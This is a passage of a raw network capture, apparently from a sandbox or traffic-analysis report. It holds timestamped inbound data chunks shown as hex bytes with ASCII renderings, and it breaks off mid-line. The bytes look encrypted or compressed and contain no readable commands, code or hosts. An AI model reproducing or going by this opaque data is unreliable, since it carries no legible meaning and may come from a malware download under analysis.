cd 38 f5 aa 0c f1 a8 06 2e 23 5e 1e 8b 6e c4 c8 Data Ascii: ,;Q_+~Ngrq/))erf8nG1ax 1t s [hN,:0.\!QE ';`qNF4VC7BK&u]"J7>0+m{aP\|DU~qQ9r.mTE;gEZHS\g{L"=U8.#^n
2021-12-01 08:15:23 UTC	3037	IN	Data Raw: 01 a5 fd ba 71 d5 7a 5f 62 b8 66 b7 cd 42 82 58 35 03 82 26 5a 82 8e 98 8b 51 30 df b3 8a ac 6a dc 38 7e 7f d5 a0 66 d3 32 2a d9 92 ea 95 0b b9 48 da 98 f8 f1 d2 e9 c7 e8 bb cf e7 fe ea 4f 8d a3 5a 3f c2 d0 50 8e f3 82 04 af d7 86 9f fd 00 92 7d d4 91 56 61 47 af e4 23 e7 39 5e d3 09 65 bb bf 5d f8 3c 27 24 57 03 86 b1 8c 54 58 6b 07 45 18 2c 94 54 5b 17 ae 6c ff 12 33 6d ea 0e 90 da 9e 82 e4 8d 24 80 3a 85 6d 24 de ac be fe 57 43 a4 2d 35 ab 74 d5 54 ed 7c 3e b4 ca 0f 18 93 98 d8 23 e3 d2 c3 8b ea ad 38 91 f2 8c a4 4e 42 ed 2c 01 b2 ef 75 0b f5 ed 87 82 43 c7 aa 41 72 29 09 eb e6 8f 7b d5 fc 85 dc 04 cd 14 d1 d0 85 d1 17 98 78 ec 0a fa fc 36 ea 56 ad c1 89 98 53 db a6 f4 54 7f 11 45 2f de fb 47 69 56 37 a7 31 63 42 d8 b3 52 96 6b a3 c6 95 1a 5b b5 0f e9 Data Ascii: qz_bfBX5&ZQ0j8~f2*HOZ?P}VaG#9^e]<'$WTXkE,T[l3m$:m$WC-5tT\|>#8NB,uCAr){x6VSTE/GiV71cBRk[
2021-12-01 08:15:23 UTC	3053	IN	Data Raw: ce bb c2 5d ba 1d 0b de 07 10 2e 76 0c cb 15 b5 0d 1a cb a2 26 ff 34 9d ef 18 27 39 1f b1 7a 6d 34 bb e4 70 37 03 f9 f2 93 42 b7 e2 3c 0b a8 98 bd 95 15 52 09 fa 86 5f a4 ee b2 b3 4d f3 6f 72 55 be 7d 5a 68 e3 3f 14 ac 8a eb e4 f3 03 e9 9f 03 06 33 3b 7d 22 20 9d 37 17 0a 78 4a 4f 6f 8b 2b d8 1c fc d4 d9 20 20 08 18 27 25 0c 66 e8 85 29 d2 17 7b ad 2a 74 d8 90 0f a9 fd 87 16 17 c4 ac c7 e3 e6 b5 03 13 ac 38 8b 5f e1 b6 5b 1a 14 4e b9 f1 87 f9 2e a8 b6 05 2b ec e1 77 72 0a 3e 09 8d 2a e2 6e dc 56 8f 3c e7 11 c8 52 5f 92 c2 20 ee 01 27 2a 78 e7 60 95 e1 a3 a4 86 d1 81 25 a5 64 84 e8 8d df e5 64 11 b0 98 0f 9a af b5 f2 07 d8 5f 58 0f 5e 96 d2 47 eb 05 0f f6 f0 ee 04 55 1f e0 f7 16 90 d9 48 00 86 8a 11 c2 9c 71 72 4f d8 91 61 79 bd cb 80 be 9e 3c a8 74 1d 53 Data Ascii: ].v&4'9zm4p7B<R_MorU}Zh?3;}" 7xJOo+ '%f){t8_[N.+wr>nV<R_ '*x`%dd_X^GUHqrOay<tS
2021-12-01 08:15:23 UTC	3069	IN	Data Raw: 17 2e ce 83 59 5d 5f 0b de 2e 41 3e 2c 4d f3 a8 4d 25 2b b8 f4 f6 24 ce db 7c aa f7 3a ba 68 a3 d9 20 2f 25 53 cc 11 c0 4e c7 e7 54 e6 46 cb 7e 00 7e 35 8b df 33 33 a0 e0 6f 1e 8d ba 5c 57 3f 11 bf e7 c0 e2 c8 32 24 44 b7 b7 75 c8 75 6d 96 05 16 b9 8f b1 32 26 6d d3 ea 9c ca 64 69 a5 29 bc 98 87 96 c5 0d 88 6c 17 e6 4a 19 0f 5b 8b 64 59 cb 7d db 82 ff 9c b7 a1 d6 87 9a ef d0 74 40 10 10 4c 8c d4 f6 1b 90 76 d8 c5 92 8e 1a 71 17 47 4d 5b 37 01 9b bf 2b 07 dd 8f ea 35 62 26 74 15 6e 33 eb 76 54 1a b2 b2 39 c6 31 15 62 3b 22 12 22 ab af fb a2 ce 20 73 11 b8 eb 32 7e d3 45 77 d0 5e ba f7 c3 4d 9e 23 c8 ee f1 9e 12 16 04 bf 58 79 33 7f 41 ae cd f5 a5 57 2c a4 8a 4d 18 1d 82 cc 34 77 55 0d 72 27 3b 66 b3 bb 21 1c 37 f4 6d a7 56 f1 72 87 34 1f 6b 29 27 7b 44 03 Data Ascii: .Y]_.A>,MM%+$\|:h /%SNTF~~533o\W?2$Duum2&mdi)lJ[dY}t@LvqGM[7+5b&tn3vT91b;"" s2~Ew^M#Xy3AW,M4wUr';f!7mVr4k)'{D
2021-12-01 08:15:23 UTC	3085	IN	Data Raw: ea fb 08 32 6e c9 42 6a 07 5e 52 f7 23 94 25 61 0a 22 64 5e 47 4e bf 93 af 7a 27 b8 35 76 39 c5 df 1a 31 4c 9d 41 84 e9 f8 1f 26 88 40 e4 6e 7b 9b 89 d3 13 08 c7 b4 c3 c4 6c 07 41 44 8c 64 2e 75 f1 ff 54 8f 7c 12 1a 0b 73 bf 2f c9 07 2e 3f 1b 31 4c 2e a1 ba 0d 22 a0 2c 11 b5 38 4d 40 e3 9a e7 84 1d 89 4b 0e a9 d3 49 fb 6f cf dd fa 4c df c5 0b 08 3f 60 12 3f f2 3a 17 f5 83 3d 2e 95 c6 4f 1b 74 b7 79 2c 26 96 18 b6 e8 bf 93 68 ca c8 3e 9c 0f c5 1a 24 2a f6 d7 f5 5f 97 7b b1 39 f6 91 6b 9d 55 af e3 39 3e 71 cf eb 68 44 fe 9e 11 56 0d ba f4 c7 b8 e9 ea a1 6a 7e f8 b7 c4 f5 6c b2 b6 81 1d 84 9b 46 2a 56 6a c1 e6 39 a8 fd 11 b7 38 21 ff b3 93 e0 39 9d 2e 62 30 de d9 68 3e 30 43 4f ec 1b da 8e 87 75 e0 e6 c0 0e 87 5c 18 d9 ea cc 12 bd 7c 1d 32 b9 3d b4 6d 20 68 Data Ascii: 2nBj^R#%a"d^GNz'5v91LA&@n{lADd.uT\|s/.?1L.",8M@KIoL?`?:=.Oty,&h>$_{9kU9>qhDVj~lFVj98!9.b0h>0COu\\|2=m h
2021-12-01 08:15:23 UTC	3101	IN	Data Raw: e9 df fc 39 98 b5 85 5e e6 1d cf 5b b6 a1 35 71 d6 e0 ff 67 36 33 b3 05 13 ef 08 71 8f 29 8e c7 95 3c 50 15 b0 d3 04 06 e2 08 6f 53 c8 3d 51 27 4f b9 b1 80 cf 1e 39 a7 25 23 00 51 63 d6 70 f1 5c ac 3d 36 02 c5 5f cf 63 fc 1b 57 0d e2 d4 73 57 12 04 3b 3c c4 42 4d 7e 79 8b f6 75 5e 53 10 cd 75 bf 7b 86 e3 fe c9 07 fb bc 8a c4 b1 dc de 64 7e 38 01 84 ab 45 84 19 88 5f bd 21 9a a8 4e 03 a5 b7 39 3e 1f e1 f0 24 a6 c5 a6 d1 1f 17 14 29 06 1f 8e b7 8e 8b eb 64 32 ff 95 56 09 ec b8 1e 2a b7 d7 f9 39 e5 7f 4f 01 a1 b0 8c 41 c9 fe b5 44 fd 03 a7 be 54 2d 20 c1 a6 82 85 47 ed ca 42 64 bf d7 44 f3 32 4d c1 f8 d8 c5 1f c0 6f 47 04 16 ad ce 52 aa 70 87 35 92 19 14 55 3b f5 0f 64 a8 ed f7 9c ba a6 b7 84 29 36 7e dd ee e5 ed 70 16 e8 29 7b 91 96 86 d3 44 82 9e e3 25 5c Data Ascii: 9^[5qg63q)<PoS=Q'O9%#Qcp\=6_cWsW;<BM~yu^Su{d~8E_!N9>$)d2V*9OADT- GBdD2MoGRp5U;d)6~p){D%\
2021-12-01 08:15:23 UTC	3117	IN	Data Raw: 35 fa 54 e3 32 6d 3f aa 21 72 d0 55 e2 b8 2e 5f 79 eb b0 83 d2 9e 01 b5 0b 06 68 73 bf 85 4a d1 e0 61 11 75 11 a1 5e ed 29 d2 48 e9 1f 0d 6e 88 cb f9 58 ac ee b1 e4 f8 db 50 6f e9 0a 07 16 0e a5 e8 bf 6a 6e b7 49 65 a4 75 11 a1 b7 ed 5d aa e3 22 f1 01 d7 51 a7 88 4b eb 19 54 2a c8 50 e8 b5 70 22 2f 5a 4d 53 67 df 59 4e 43 36 0d 05 ee 41 2f a9 4b d0 8d e5 e0 81 f8 de 15 a9 ea 71 66 ed 34 a1 2d 43 59 e2 0d 82 11 32 b5 7e f6 3d 24 93 14 79 1e 18 ca ec 37 b5 c1 0b 07 de ed a1 a5 ec 82 d0 33 36 e3 29 7a 3b a1 f3 c8 be a0 50 c1 ce b4 5f c2 89 8f 34 2b bc c5 ac 41 9f f3 49 ba 10 3c 94 bb fc 11 b1 da d5 da 6c 4f a3 27 6a c3 e6 31 d1 27 9c 14 4c 10 52 a2 3d dc 3d c8 fa 45 72 8e 3d 55 da 3e 59 a8 e6 e2 c5 d2 0b 56 ad fd fa 4e 20 4e 8b 4a 32 07 ab 11 98 90 7f 1c a0 Data Ascii: 5T2m?!rU._yhsJau^)HnXPojnIeu]"QKT*Pp"/ZMSgYNC6A/Kqf4-CY2~=$y736)z;P_4+AI<lO'j1'LR==Er=U>YVN NJ2
2021-12-01 08:15:23 UTC	3133	IN	Data Raw: fa bf 89 0f 13 7c 14 48 52 41 c2 20 39 5c 8c 90 e6 55 5c 75 22 8f 5b 7b be ec bb 99 82 ec 39 27 74 4e 5d 19 d7 94 48 de de 7f cb 6f 5b 89 81 05 0a 2b 99 13 52 c8 15 d1 46 0a d4 3d 6e 4b 7d 02 d9 c4 36 4b cc 0b 4d 70 6f 94 65 12 a5 49 75 12 27 b3 ff e9 ae 14 8b 68 33 73 ea 69 52 32 b9 7f 3a b4 bf 7a 71 fc ea 98 f3 7a 28 7c 6f 3e 81 c5 44 d7 c8 93 84 97 87 bf a6 29 69 04 85 e7 6b 9b 43 5f ea 15 82 fb bf 44 c2 5a 36 56 c9 55 78 72 69 49 ec 62 f0 f5 5d aa b1 d0 15 f0 96 f9 7e 78 27 3f b7 1c 4f a4 9f 6a 49 78 db c5 b6 c8 5f 4b 30 ec 96 9e 49 b9 1a 03 34 37 e3 55 37 a2 9a fa 35 3b ca 29 09 09 d5 f3 65 0f 34 f1 06 fd 9d 44 9f a8 82 89 cc d1 9a c0 2d 08 82 06 55 da fc 8b d1 c3 e8 05 c2 b9 c4 21 38 76 da c0 05 da 68 b1 11 1b 4c 6a 08 9e b4 7a 11 5b 86 90 66 47 62 Data Ascii: \|HRA 9\U\u"[{9'tN]Ho[+RF=nK}6KMpoeIu'h3siR2:zqz(\|o>D)ikC_DZ6VUxriIb]~x'?OjIx_K0I47U75;)e4D-U!8vhLjz[fGb
2021-12-01 08:15:23 UTC	3137	IN	Data Raw: 81 ba a4 78 e5 f8 13 c2 55 44 df c3 35 1c 3d 72 22 74 17 6e 73 66 65 29 43 65 99 4b bf f5 ec 81 f7 ac 17 1a f7 85 0e 03 13 5f 53 cc 6d cd 31 17 0e 24 03 e1 39 f9 59 93 ac 28 d0 85 dc 3c 40 6b c4 b1 d0 ee 97 e4 30 4c 3a 63 8f 02 b7 93 33 4c 35 7b 71 21 2d 67 f0 e2 ad e8 f9 88 2e 8e b2 16 33 34 63 09 b4 f1 27 4b ea 2d 67 aa cb c6 01 cf ed 49 c9 75 74 95 e4 d0 3d 20 3a 3e 6a e4 ad 51 9d 06 b6 55 e3 bb 33 45 46 18 fe e4 7d 25 0c ca 7a 31 a3 f4 c0 07 ee 6c a4 99 12 45 70 58 94 5c fc 87 df 20 da 65 ed ca 3c 83 c4 cb 6f ab d2 e7 67 55 2f 2d 73 ce 26 6c 4d a4 00 c8 30 30 45 ea 7b e6 41 ac 43 96 b0 5d 39 c4 64 5a 9d bc 80 49 56 a4 05 17 a4 7c 67 f6 25 20 45 95 b7 0b f2 50 33 7e 02 99 bb cf 83 73 9f ca 9b 38 0f c2 82 cd 38 41 59 ce d4 ac 4c ca 5c aa d1 23 9b 10 9c Data Ascii: xUD5=r"tnsfe)CeK_Sm1$9Y(<@k0L:c3L5{q!-g.34c'K-gIut= :>jQU3EF}%z1lEpX\ e<ogU/-s&lM00E{AC]9dZIV\|g% EP3~s88AYL\#
2021-12-01 08:15:23 UTC	3153	IN	Data Raw: 35 4e 2e 0f b0 77 a4 83 4f 7e bd 76 14 7e 49 49 80 da 73 86 ae 35 5c 61 47 33 c3 a9 ff 4a 95 73 0a 1d 7f b9 7d 5a 6f 32 5a 54 aa 52 46 75 58 0b 95 11 d7 bb 6b 58 ca 5a ae ed 18 18 fa 00 8d f5 d3 1c 3f 3f 2e 9a 4f 35 32 a0 5c 24 00 e0 b1 b8 49 a8 1e 7f 91 25 b4 57 1c 53 43 2a f0 62 ec 4a 03 79 e6 3d 41 ed 08 c1 ec 73 72 13 bd 98 2c 19 a2 40 20 a9 9f 29 f2 4e 5a 1a 1f 9e b1 3b 7d 20 ee 85 34 8d f2 b4 58 07 be ce 99 f9 32 a5 9e ec 35 e2 db 26 cd 50 80 97 87 32 55 c6 26 09 b9 0c f8 6a db 7c 76 1e 40 1a ec 32 79 b3 4e 62 66 df b6 0f be ab 3c 3a ed 41 44 61 fb 0a 67 fd 9c a8 4f 80 08 f7 7f 92 0c ca 26 e0 c6 b1 63 b2 ba e0 e2 9b 6c 78 4c 4f 3b 8c f0 5d 98 45 2c a0 9b 4f 71 fd d9 08 71 b0 87 66 34 6f 0c b5 72 86 01 9d e4 c1 fe a9 24 e0 25 42 9d 06 30 f5 d6 c5 2c Data Ascii: 5N.wO~v~IIs5\aG3Js}Zo2ZTRFuXkXZ??.O52\$I%WSC*bJy=Asr,@ )NZ;} 4X25&P2U&j\|v@2yNbf<:ADagO&clxLO;]E,Oqqf4or$%B0,
2021-12-01 08:15:23 UTC	3169	IN	Data Raw: ab a9 c2 03 cb 8e c1 d9 7b e3 e1 01 c5 2c 3d 1b 72 c3 f0 50 a7 5b 36 41 79 97 d7 39 93 b6 37 d9 e5 66 3d 45 da 08 68 e4 dd 7d 7c f4 d8 3f b1 42 75 ac 31 e8 6e af 60 c7 ff 04 bc 61 f3 6b 47 31 23 bc d8 78 99 5a 66 11 60 0b a7 1e 49 2b 25 b7 3f df c7 4a 19 3f ca ba 82 8f 8f 30 5c c6 64 7e 88 7a 57 46 19 15 f8 e2 0a 01 e0 2f a8 5c 40 55 bc c1 dc 2c 34 44 07 f4 27 bb 19 26 03 79 65 d7 a7 9d 9b de 4f 61 02 4f 96 34 bd ed 91 c3 41 1b 85 55 91 62 9f b2 3b c6 02 2f b3 1f 0b b6 19 44 24 00 5d 8b b3 b1 69 e8 36 95 a9 60 7a 0d 3c cd 8f 57 6b af e3 26 80 7c fe cd 4d 54 c9 0a 62 c7 b8 11 b2 8e a1 ab 6a 9e 08 6c 9f 25 04 4e 58 7d 36 3b de 58 b6 3a d4 69 ea c3 3c bb 6e db c8 5f e4 ad 60 5f 33 17 40 f8 da 73 6e 57 12 fb 12 76 9c f0 21 81 f6 a7 e6 8c 8a 4f d1 6b ae 8c 80 Data Ascii: {,=rP[6Ay97f=Eh}\|?Bu1n`akG1#xZf`I+%?J?0\d~zWF/\@U,4D'&yeOaO4AUb;/D$]i6`z<Wk&\|MTbjl%NX}6;X:i<n_`_3@snWv!Ok
2021-12-01 08:15:23 UTC	3185	IN	Data Raw: 5b d8 8e d1 69 f8 b4 a4 b1 70 b4 b4 43 03 be 8a c1 c7 b4 47 5a 6e ee 68 a9 a9 2f 27 82 29 1c 8a 94 1a 53 b5 d1 68 76 5c b6 f0 0d 70 63 f0 6b 60 b5 c6 4e 1f e3 bc bc ae be 08 ed 28 b3 55 c7 4b fe 0e f2 34 39 fe 65 dd 7f 02 51 f8 65 30 4a 97 5f 4a 96 71 00 81 af 1b 29 be d2 c6 cb ab 45 b1 7b e8 19 19 01 49 76 3a a9 6a 73 40 93 8c 92 00 31 11 ee 18 a0 87 82 6f 3e 78 7b 04 31 ba fd 1f b4 88 0a 3d b1 29 63 e8 61 28 09 f1 35 5c 11 c2 ae ca 47 f5 bc 68 8e db ba 56 f1 1c 4c 13 cc bc 40 71 77 99 5e 59 df ee 4c da b2 fd 60 56 66 f8 40 e5 65 a9 cb 66 49 cc 20 c9 64 fd 7f b2 27 af e8 bc 0a 01 d2 c9 2a a6 74 4d 61 36 74 9a 7c 99 0d 87 f8 91 e8 49 66 bb e1 e6 9b 8c 04 20 29 fe 73 74 e9 ae 91 7d f1 22 9e 1b 97 6a be 1b c7 81 ab 0f 12 b2 3f 51 c5 83 c0 c4 e6 cb e7 c3 e7 Data Ascii: [ipCGZnh/')Shv\pck`N(UK49eQe0J_Jq)E{Iv:js@1o>x{1=)ca(5\GhVL@qw^YL`Vf@efI d'*tMa6t\|If )st}"j?Q
2021-12-01 08:15:23 UTC	3201	IN	Data Raw: a2 fb d6 a9 ed ca 89 b8 88 c8 42 2b 4a b7 b0 37 96 00 25 63 b6 18 5b eb 8b b8 38 2d 9a b2 2a 61 6b 16 e4 0b 5d 7b 6b 46 69 86 6a 8f 83 9a dd 5c 00 18 0b 19 e3 1d 65 d1 f5 e1 5f f4 8a 04 a8 f6 21 f4 b4 b9 0b a7 3d d1 d6 60 ca 00 7a de cb 40 25 a2 66 29 3c 99 c2 6e 9c 94 79 93 e9 be 37 3a 4d 2e 70 09 c4 4a 6a 52 73 62 71 3f f0 d6 5c 64 d7 80 f3 3b 9c de 89 d6 e6 4d 7f d6 16 46 9a 1a f1 00 d8 30 06 7c 12 87 63 92 48 df 29 18 53 4d 6e 38 97 58 0d a7 c2 95 09 77 bf 00 7e 2c 07 09 49 35 f7 9a d6 57 82 71 81 02 61 b2 a4 e4 a8 36 de c3 95 b0 a5 52 d1 da df a2 77 4e 9f 3b 3f e4 e6 55 4d 70 d8 04 a4 27 9b 55 ad 8b 18 c4 61 a7 ef 5a 68 e8 c5 b0 20 84 8c d8 d7 f3 a4 43 e8 a5 fe 98 f3 c3 68 38 ff 4b e8 43 35 1f 6e 40 57 08 db 9d b6 80 3a 7e 49 1c 50 74 29 a4 ed 81 0a Data Ascii: B+J7%c[8-*ak]{kFij\e_!=`z@%f)<ny7:M.pJjRsbq?\d;MF0\|cH)SMn8Xw~,I5Wqa6RwN;?UMp'UaZh Ch8KC5n@W:~IPt)
2021-12-01 08:15:23 UTC	3217	IN	Data Raw: 78 97 65 f3 e9 38 a8 0a 1a b7 de 92 8b 80 fe 00 b6 1f f4 9e 16 7d 59 b2 d9 f4 9d d4 81 89 3e ba 24 d6 82 14 35 3b 89 43 bb 6e 1f 34 ec e2 78 52 65 9f a3 32 9d d6 10 1b 23 79 04 11 cb 07 ca d9 c7 aa 65 0c 44 55 b5 43 6d be 3d 1c 7a 79 1b 44 38 c4 74 74 1d 7e 99 8e 91 6b fe 43 61 e5 d6 27 1b b9 ba 76 c0 56 ec 12 59 94 82 a3 bd 91 9a 33 8a 8d 4d 1b e3 d8 32 a7 21 1c 33 d7 1d 04 cc fd d2 d5 6a 8f fa 2c 10 8e 34 1e 9d 79 09 3d 07 8f 0f 1c fb f5 b2 03 c8 c5 d1 52 d3 02 b5 8b c1 07 32 42 05 cf ab de 43 61 01 85 b7 a0 8e d1 33 9a 26 05 e5 7a 71 04 29 50 4e d6 a1 bf 68 da 0f 89 6d 92 74 1a 5c 4a 06 ab 52 54 bf ef 27 94 c3 7c 72 5f 34 6c 9f 39 4f 6c 2d c9 f5 36 bc b1 8b 5b ff 38 e0 0d 50 c2 b7 9a 91 62 c4 84 b7 fa 91 b1 35 43 50 22 d6 a5 dc 3b a0 6b dc 70 80 61 77 Data Ascii: xe8}Y>$5;Cn4xRe2#yeDUCm=zyD8tt~kCa'vVY3M2!3j,4y=R2BCa3&zq)PNhmt\JRT'\|r_4l9Ol-6[8Pb5CP";kpaw
2021-12-01 08:15:23 UTC	3233	IN	Data Raw: a9 16 a3 5d 87 ea 39 5e 4a 1d f7 d7 36 08 eb 32 a9 a6 33 85 72 f6 6b 04 44 2c 95 25 08 36 2d 7c e4 81 5c 0f 50 18 72 19 b6 11 2a 29 f2 a0 65 55 f8 d7 51 fc c0 db cd 5e 99 66 7a d5 cd 4b 04 04 be c7 b3 42 eb e6 55 4a 7d d7 59 cf ab db 40 45 77 3b 44 d5 a6 3a 16 25 6a bd 5b 7c c3 a1 12 d6 31 05 81 57 81 9f 5f 42 04 cf 51 4e 70 cb 2f 31 ea 79 8d a7 6b 49 58 93 a3 cf 21 4f 13 fb 4b 36 8b c3 38 bb c1 74 c6 28 2a 09 28 f5 18 0a 20 78 7a c3 af 18 f9 f7 42 f8 0c 1c 4c a8 3c dc 14 5b 5b 54 c9 dd a5 d4 8f 68 6a e4 62 19 d0 8d 5a d8 8d 00 17 0d d7 65 03 22 4d ae 5a b3 b9 f3 d9 16 7a 66 24 0b fe bd 02 8a 11 c8 43 66 52 8a 25 b9 4e a8 54 7c 43 d6 05 bb ab 6d 3c 58 cd 2c 7e d1 df ac 1d 9a 87 60 cd ba 14 e0 3b fc 87 38 ed 61 cd d9 b6 33 de f1 3a 93 73 88 3d 08 3a ed bf Data Ascii: ]9^J623rkD,%6-\|\Pr)eUQ^fzKBUJ}Y@Ew;D:%j[\|1W_BQNp/1ykIX!OK68t(( xzBL<[[ThjbZe"MZzf$CfR%NT\|Cm<X,~`;8a3:s=:
2021-12-01 08:15:23 UTC	3249	IN	Data Raw: 26 c8 c8 8d 4d 15 8a 3e 79 a8 f8 ec 9d 7c 2d fc c3 42 f2 bc b8 82 57 2a 26 2f 7d 33 91 ac a2 38 3f 89 ff 9c cf 3f 63 f6 43 ab 74 c8 41 0d be 51 21 f0 0c 23 87 0e a4 53 42 aa a0 15 90 fb 07 a8 88 88 e0 75 ab be 66 88 03 f4 8d 54 b7 39 57 1d c5 eb 89 e4 95 ba 70 2c 94 3e c9 c6 cb 22 5a d3 dc 13 79 0d 0f 1a 5c ad f3 6e 05 ee 2e 4d 30 8e b8 a2 61 14 60 65 9d 37 5a 4f eb a1 2a 05 48 02 88 c0 4d cf f6 e6 09 a0 d4 db 94 91 b1 da 0e df 78 51 33 35 62 51 8c 71 0f b0 7d 93 e7 4d 04 8a 5e 16 33 a0 87 cf 17 07 9f ec af 53 4f 9b 26 20 b0 89 a1 3d 9f 33 6c 41 62 c2 84 83 1e 41 44 f7 67 2d 6c b7 df 74 a4 39 f3 92 0f f1 ef 9e 48 68 a3 71 2a ae 97 43 f7 9e 37 60 03 3e 47 63 f1 f0 2c 61 60 e9 3e fa 96 58 0d e7 51 b2 a6 36 e0 c1 9d ab 58 2f d0 f5 f1 84 14 b0 9b 35 16 46 9b Data Ascii: &M>y\|-BW&/}38??cCtAQ!#SBufT9Wp,>"Zy\n.M0a`e7ZOHMxQ35bQq}M^3SO& =3lAbADg-lt9Hhq*C7`>Gc,a`>XQ6X/5F
2021-12-01 08:15:23 UTC	3265	IN	Data Raw: 2e 84 59 78 ff 40 29 2d a8 2f ac 05 30 10 75 dd 69 02 1f 73 a6 3a 49 de 4c f6 28 06 77 87 67 90 42 30 c3 0f 8c f0 63 2f 9f fc a1 08 1d be 87 2c 55 06 3d 2e dc 4f 01 ee 61 92 70 1e cd 31 f0 5d b6 aa e1 5f c7 2d 13 6e 04 8b 4b 2c 42 da b5 bf ee df a1 02 19 3a 01 57 a0 5e 95 34 99 83 83 58 c9 a9 63 e0 ca 3e 87 af 96 d4 72 2f 96 1b 9d ea ba 18 45 eb 05 73 3c ac ea 8f 17 c3 b2 27 13 99 12 76 ff b5 3c 28 ab 48 50 58 66 80 88 42 a0 0f ea 75 24 44 b2 0a ff 90 b8 1e d6 8d 16 87 40 b5 8a e9 c7 41 9b 95 e2 ed e8 5f 1f b9 2a 57 45 d1 c5 2a 33 89 f0 fb 3f 39 9e 5e 1b 77 c6 25 32 39 85 67 4f 8a c2 d8 3e cd fc e6 1b e2 f6 9b c3 90 39 c6 35 9e df e6 bd 5a cd 6c 71 0a 2a 76 09 0b 23 f0 a2 0e 31 af 86 27 da b1 18 3a 5e 78 7b 6d b8 7d 19 03 b0 51 aa b5 64 e2 7f b8 64 8f 52 Data Ascii: .Yx@)-/0uis:IL(wgB0c/,U=.Oap1]_-nK,B:W^4Xc>r/Es<'v<(HPXfBu$D@A_WE3?9^w%29gO>95Zlq*v#1':^x{m}QddR
2021-12-01 08:15:23 UTC	3281	IN	Data Raw: c3 82 86 fe cb 99 51 00 96 e0 db b0 2c 09 f7 0c 61 94 cf 58 9f 5a 6c be 5d eb 04 ef 76 b7 71 36 f1 6b 92 29 ea fc 9a 86 fb 0f cf b8 2e 28 4e 72 f0 b7 62 c6 3a ab e2 ca c3 b5 9d 14 56 2e f3 11 e6 8b cf c5 6a 6a b6 2a f6 c5 bb ec 6b 35 bd e0 3a 9a d4 51 c5 5d 79 00 a4 6b d1 0a ff 02 98 24 99 3c 9c a1 7e 1d b1 9a 64 73 49 c8 91 af 1b 1e 3e 06 bd 80 cc 21 87 ad ab 81 2f 48 b5 68 20 9a 02 65 5d 8f bd ad 41 42 ba 6d 14 0f 83 51 ff 8c 58 15 51 90 dc c9 c2 74 88 ff f0 eb 9d c4 e5 27 d6 5f 02 ab 70 b1 13 d7 c0 2c 68 9a b6 6f 72 14 18 a0 a0 50 f4 54 95 f1 3d 07 99 cd a3 7b 56 21 66 96 24 cd 0a a2 a6 f9 93 39 c8 db aa b8 ca 56 f2 04 eb f4 59 ec ae 17 d6 09 cb 78 4b 8d 9c ff 6d fd a2 5e 6b 8e 3c a8 45 df 41 16 e7 04 ad 46 54 79 41 94 1a 20 dd 34 ef 98 35 ff 01 66 22 Data Ascii: Q,aXZl]vq6k).(Nrb:V.jj*k5:Q]yk$<~dsI>!/Hh e]ABmQXQt'_p,horPT={V!f$9VYxKm^k<EAFTyA 45f"
2021-12-01 08:15:23 UTC	3297	IN	Data Raw: f7 8d a1 79 62 16 21 3a d3 99 32 a7 ba 21 08 59 9b 90 a1 05 96 94 db 12 92 e4 68 c4 31 09 ab 6e 01 eb 23 dd 13 1d 14 7f 34 b5 52 b8 54 cb 39 6c 85 64 e6 04 2f b2 b2 9a 03 be b2 04 51 56 b0 88 5b 3a 70 89 ef c0 94 9e fe bf b2 c7 92 ae 95 90 3f 51 45 fd 55 c0 02 7c 1e db 8a 75 3f 1d 62 62 93 10 b6 c0 81 b4 0e 8d 0c 6a 18 f9 63 26 51 88 cd 5c b8 a1 41 cd fc 92 e7 2b 53 74 69 41 df df e5 cc f6 34 13 8b 6a 57 8e ad 79 74 95 6d 13 8f ca 94 d4 6e bf c9 26 07 b9 f5 0f bb f0 3a 4a d7 c7 f5 cc 0e 68 ba 89 f8 24 57 a2 00 35 c7 d3 a0 08 73 bf f5 87 b6 b5 6f 1b 50 7a f2 d9 1b ba f6 6e ad 94 11 1b fe 4f 8b cb 20 ce 02 2a ff 5e 2a d4 46 f7 ce 0d 70 15 b0 93 5e 39 4b 75 a8 b2 27 13 b9 17 61 8a 37 42 d3 66 45 5a 4a 78 b6 e5 15 e4 83 fa 9b 29 af b5 d1 c4 c4 a7 52 9e 9b 77 Data Ascii: yb!:2!Yh1n#4RT9ld/QV[:p?QEU\|u?bbjc&Q\A+StiA4jWytmn&:Jh$W5soPznO ^Fp^9Ku'a7BfEZJx)Rw
2021-12-01 08:15:23 UTC	3313	IN	Data Raw: 6a b5 12 8c c7 25 3e 60 c0 79 66 b6 17 ef 4d 90 23 ee 1a f7 84 9d b7 2c 20 0f e5 c3 5c fd 0d 95 a5 09 05 72 0b af f4 0a be b0 6d 96 a5 f0 e7 91 4c cb 59 1d 4a 8e ce b2 c0 46 b7 95 13 97 05 8f 9e f1 1e ee 49 df 1c a9 47 4f a2 5d 3f 13 e5 ed a6 38 b1 31 66 b8 83 dd dc 3d 98 8f 0e a7 49 4a 8c a3 69 38 9c 44 6f b2 fe db 2b 3b ee ed 49 4f e4 38 2e 3e 28 80 35 89 db 01 23 02 b1 b5 e9 f8 e5 ed 0b 7b ca e6 ee 3e 5d fa ff 25 a5 03 27 b2 89 8d bd 7e 64 e0 cf a8 73 0a 23 af e1 69 13 7a 54 cc ef c5 78 90 47 dc 4e d5 65 64 d6 36 22 d3 ad 4c 33 bc ce 8a 4d 22 8e 45 57 d9 26 07 1e 11 19 ab 91 a5 a3 28 cf 39 04 20 c5 09 54 15 3f 89 97 1f 7a 7a 3b 29 02 63 d3 68 fc 6d 7c 79 1f bd 48 c7 90 c7 46 3d 03 31 4b 4d c4 44 ac 83 19 1b ef 5c 94 79 dd c5 c5 7c 70 a5 a4 10 e3 d9 60 Data Ascii: j%>`yfM#, \rmLYJFIGO]?81f=IJi8Do+;IO8.>(5#{>]%'~ds#izTxGNed6"L3M"EW&(9 T?zz;)chm\|yHF=1KMD\y\|p`
2021-12-01 08:15:23 UTC	3329	IN	Data Raw: f6 f4 f5 3c 6b 89 aa 0e 96 b9 9c 9c e9 bd 0a 7b 34 9e 65 1b db 97 61 d6 ff 66 1c bc e9 8c b7 d2 c0 2a 70 cc 0c 05 e5 00 2b b6 67 c2 03 30 77 96 0c 6f 22 01 5d 3b 08 e1 39 cc e9 a5 96 f1 c9 0b e4 d5 c8 95 d1 ae d1 99 57 c7 55 22 d4 5d 5a 0e 25 a1 85 f7 18 d0 cc b4 0e 96 4f 90 67 a0 cd d5 d3 6a f6 49 68 81 b6 4a fd d6 bf ae 3d 66 30 44 be 6e 10 a0 c3 a4 2a 07 35 cf bd ad 46 f3 bc f7 fd c2 46 eb 21 48 88 5a f4 a4 84 f6 65 87 64 f6 a4 1b 18 f7 6f 9c ce 5e f4 bc 95 1d ba 15 ca a0 d4 a3 31 8f 5b dc a0 99 e6 7f 0c 29 54 9d 3d e8 c7 12 